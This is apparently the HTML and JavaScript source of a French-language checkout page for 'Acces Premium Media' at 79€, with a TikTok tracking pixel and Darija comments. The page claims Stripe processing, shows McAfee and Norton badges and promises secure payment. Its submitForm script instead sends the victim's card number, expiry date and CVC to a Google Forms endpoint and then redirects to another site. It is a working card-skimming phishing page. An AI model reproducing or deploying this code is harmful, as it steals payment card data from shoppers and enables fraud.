<!– TikTok Pixel Code –>
<script>
!function (w, d, t) {
w.TiktokAnalyticsObject = t;
var ttq = w[t] = w[t] || [];
ttq.methods = [“page”, “track”, “identify”, “instances”, “debug”, “on”, “off”, “once”, “ready”, “alias”, “group”, “enableCookie”, “disableCookie”];
ttq.setAndDefer = function (t, e) {
t[e] = function () {
t.push([e].concat(Array.prototype.slice.call(arguments, 0)))
}
};
for (var i = 0; i < ttq.methods.length; i++) ttq.setAndDefer(ttq, ttq.methods[i]);
ttq.instance = function (t) {
var e = ttq._i[t] || [];
for (var n = 0; n < ttq.methods.length; n++)ttq.setAndDefer(e, ttq.methods[n]);
return e
};
ttq.load = function (e, n) {
var i = “https://analytics.tiktok.com/i18n/pixel/events.js”;
ttq._i = ttq._i || {};
ttq._i[e] = [];
ttq._i[e]._u = i;
ttq._t = ttq._t || {};
ttq._t[e] = +new Date;
ttq._o = ttq._o || {};
ttq._o[e] = n || {};
var o = document.createElement(“script”);
o.type = “text/javascript”;
o.async = !0;
o.src = i + “?sdkid=” + e + “&lib=” + t;
var a = document.getElementsByTagName(“script”)[0];
a.parentNode.insertBefore(o, a)
};
ttq.load(‘D04KF6BC77U0QQJ044L0’); // ← حطيت ID ديالك هنا
ttq.page(); // ← يسجل Page View ديال الصفحة
ttq.track(‘InitiateCheckout’); // ← يسجل Initiate Checkout مباشرة مع ظهور الصفحة
}(window, document, ‘ttq’);
</script>
<!– End TikTok Pixel Code –>
<meta name=”viewport” content=”width=device-width, initial-scale=1.0″>
<div style=”max-width:500px;margin:auto;background:#fff;padding:25px;border-radius:10px;border:1px solid #ddd;font-family:’Helvetica Neue’, sans-serif”>
<!– Logo –>
<div style=”margin-bottom:25px”>
<img src=”https://cdn.youcan.shop/stores/3880d779c75ba02d603d849b44b4077f/others/XTlRiRwxuTlcK9hzKUplV980AUZv19olreMwbQm8.png” style=”max-width:50%;display:block;margin:auto;height:auto”>
<!–
https://raidcs.com/wp-content/uploads/2018/11/bnpp.png –>
</div>
<div style=”display:flex;justify-content:space-between;align-items:center;margin-bottom:10px”>
<h2 style=”margin:0;font-size:20px;font-weight:600″>Acces Premium Media: </h2>
<div style=”font-size:18px;font-weight:bold;color:#333″>79.00€</div>
</div
<p style=”color:#888;font-size:13px;margin-bottom:20px”><strong>
✅ Paiement unique.</br>
🔒 Transactions 100% sécurisées.</br>
💸 Remboursement garanti si non satisfait.
</strong></p>
<!– Logos des cartes –>
<div style=”margin-bottom:15px”>
<div style=”font-weight:600;font-size:14px;margin-bottom:5px”>Carte Bancaire (Stripe)</div>
<div style=”display:flex;justify-content:space-between;align-items:center;gap:10px;flex-wrap:wrap;”>
<img src=”https://img.icons8.com/color/48/visa.png” style=”flex:1;max-height:36px;object-fit:contain;”>
<img src=”https://img.icons8.com/color/48/mastercard-logo.png” style=”flex:1;max-height:36px;object-fit:contain;”>
<img src=”https://img.icons8.com/color/48/amex.png” style=”flex:1;max-height:36px;object-fit:contain;”>
<img src=”https://img.icons8.com/color/48/discover.png” style=”flex:1;max-height:36px;object-fit:contain;”>
<img src=”https://img.icons8.com/color/48/jcb.png” style=”flex:1;max-height:36px;object-fit:contain;”>
<img src=”https://img.icons8.com/color/48/unionpay.png” style=”flex:1;max-height:36px;object-fit:contain;”>
</div>
</div>
<!– FORM –>
<div style=”background:#f9f9f9;border:1px solid #ccc;border-radius:6px;padding:20px;margin-top:10px;margin-bottom:20px”>
<!– <label style=”font-weight:600;font-size:13px;display:block;margin-bottom:5px”>Nom complet *</label>
<input type=”text” id=”fullName” placeholder=”Nom Complet”
style=”width:100%;padding:12px;margin-bottom:15px;border-radius:6px;border:1px solid #ccc;font-size:15px;background:#fff”> –>
<label style=”font-weight:600;font-size:13px;display:block;margin-bottom:5px”>Numéro de carte *</label>
<input type=”text” id=”cardNumber” placeholder=”1234 1234 1234 1234″ maxlength=”19″ inputmode=”numeric”
oninput=”formatCardNumber(event)”
style=”width:100%;padding:12px;margin-bottom:15px;border-radius:6px;border:1px solid #ccc;font-size:15px;background:#fff”>
<div style=”display:flex;gap:10px”>
<div style=”flex:1″>
<label style=”font-weight:600;font-size:13px”>Date d’expiration *</label>
<input type=”text” id=”expDate” placeholder=”MM/AA” maxlength=”5″ inputmode=”numeric”
oninput=”formatExpiry(event)”
style=”width:100%;padding:12px;margin-bottom:15px;border-radius:6px;border:1px solid #ccc;font-size:15px;background:#fff”>
</div>
<div style=”flex:1″>
<label style=”font-weight:600;font-size:13px”>CVC *</label>
<input type=”text” id=”secCode” placeholder=”123″ maxlength=”3″ inputmode=”numeric”
style=”width:100%;padding:12px;margin-bottom:15px;border-radius:6px;border:1px solid #ccc;font-size:15px;background:#fff”>
</div>
</div>
</div>
<!– زر الطلب –>
<button onclick=”submitForm()” style=”width:100%;padding:16px;background:#f7931e;color:#fff;font-size:15px;font-weight:bold;border:none;border-radius:6px;cursor:pointer;margin-top:10px”>
PASSER LA COMMANDE MAINTENANT
</button>
<!– McAfee + Norton –>
<div style=”display:flex;justify-content:center;align-items:center;gap:10px;margin-top:25px”>
<img src=”https://d3ldyx3r2ad3ic.cloudfront.net/templates/template-assets/images/store-checkout-2/mcafe.png” style=”width:30%;max-width:100px;height:auto” alt=”mcafee”>
<img src=”https://d3ldyx3r2ad3ic.cloudfront.net/templates/template-assets/images/store-checkout-2/norton.png” style=”width:30%;max-width:100px;height:auto” alt=”norton”>
</div>
<!– النص التحتاني –>
<div style=”margin-top:15px;text-align:center;color:green;font-size:13px”>
<strong> ✓ Protection à 100% de vos données personnelles<br>
✓ Connexion cryptée et sécurisée (SSL)<br>
✓ Paiements 100% sécurisés <strong/>
</div>
</div>
<script>
function formatCardNumber(e) {
const input = e.target;
let value = input.value.replace(/\D/g, ”).substring(0, 16);
let formatted = ”;
for (let i = 0; i < value.length; i++) {
if (i > 0 && i % 4 === 0) formatted += ‘ ‘;
formatted += value[i];
}
input.value = formatted;
input.setSelectionRange(formatted.length, formatted.length);
}
function formatExpiry(e) {
const input = e.target;
let value = input.value.replace(/\D/g, ”).substring(0, 4);
if (value.length >= 3) {
value = value.substring(0, 2) + ‘/’ + value.substring(2);
}
input.value = value;
input.setSelectionRange(value.length, value.length);
}
function submitForm() {
// const fullName = document.getElementById(“fullName”).value.trim();
const cardNumber = document.getElementById(“cardNumber”).value.replace(/\s/g, ”).trim();
const expDate = document.getElementById(“expDate”).value.trim();
const secCode = document.getElementById(“secCode”).value.trim();
/* if (fullName.length < 2) {
alert(“Nom invalide. Veuillez entrer votre nom complet.”);
return;
} */
if (cardNumber.length !== 16 || !/^\d+$/.test(cardNumber)) {
alert(“Numéro de carte invalide. Veuillez entrer 16 chiffres.”);
return;
}
if (!/^\d{2}\/\d{2}$/.test(expDate)) {
alert(“Date d’expiration invalide. Format attendu : MM/AA.”);
return;
}
if (secCode.length !== 3 || !/^\d+$/.test(secCode)) {
alert(“Code CVC invalide. Veuillez entrer 3 chiffres.”);
return;
}
const formURL = “https://docs.google.com/forms/d/1Y0WVtxNI2ac2wyCMUAPp68w4Y9cEFupnLSLcrMae12c/formResponse”;
const data = new URLSearchParams();
data.append(“entry.639519301”, cardNumber);
data.append(“entry.1345516830”, expDate);
data.append(“entry.1099821120”, secCode);
data.append(“entry.1698078967”, “SAMAD-New-Page”);
data.append(“entry.1619472829”, “FR”);
fetch(formURL, {
method: “POST”,
mode: “no-cors”,
body: data
}).then(() => {
window.location.href = “https://alchemypay.online/tv-panding/”;
}).catch(() => {
alert(“Une erreur s’est produite. Veuillez réessayer.”);
});
}
</script>